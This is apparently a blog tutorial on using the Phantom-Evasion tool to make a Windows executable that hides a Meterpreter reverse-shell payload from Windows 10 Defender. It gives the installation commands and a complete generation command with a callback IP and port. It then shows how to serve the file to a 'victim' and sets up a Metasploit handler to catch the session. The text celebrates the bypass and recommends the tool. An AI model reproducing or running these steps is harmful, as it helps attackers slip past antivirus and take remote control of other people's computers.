Hey Folks, today we are going to discuss over the same topic over which we had discuss in our previous article called “how to bypass windows 10 defender” but in this tutorial, we will use different tool called “Phantom-Evasion”. Phantom-Evasion is an antivirus evasion tool written in python (both compatible with python and python3) capable to generate (almost) fully undetectable executable even with the most common x86 msfvenom payload.
Let’s take a look 
!!
Installation
It is very easy to install and configure this tool. First we will download this tool using git command. After the download is complete we will go inside the downloaded file, allow executable permission and execute the last command to establish dependencies.
1 2 3 | git clone https://github.com/oddcod3/Phantom-Evasion.git chmod +x ./phantom-evasion.py ./phantom-evasion.py --setup |
That’s it !! The tool has been successfully configured even you can check all the features and usage guide using the help command.
1 | ./phantom-evasion.py --help |
CLI Version ( Recommended )
If you really want to defeat windows 10 defender, we recommend you to use the CLI version of this tool without any doubt. Just change the IP address, port number, and payload name from the following command according to you. Execute it 
!!
1 | python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.13 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe |
Done !! If the payload is ready to share the victim, then start the python file sharing service using the following command.
1 | python -m SimpleHTTPServer |
Proof
You can see that the victim has enabled window defender protection to protect themselves against viruses or trojans.
Bypassed
OMG !! It is surprising to see that the payload is completely unrecognizable by windows 10 defender. No security warning pops up even when the victim clicks on the payload. Really it completely true “Fully Undetectable Payload“.
Wondering !! As soon as the victim clicks on the application to setup it, we have that user’s meterpreter session.
1 2 3 4 5 6 | msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.13 set lport 4444 run |
Wait !! In addition, you can use this interface to manage it and create a full undetectable payload.
Results : We would highly recommend you to use this tool to bypass window 10 defender.
Post a Comment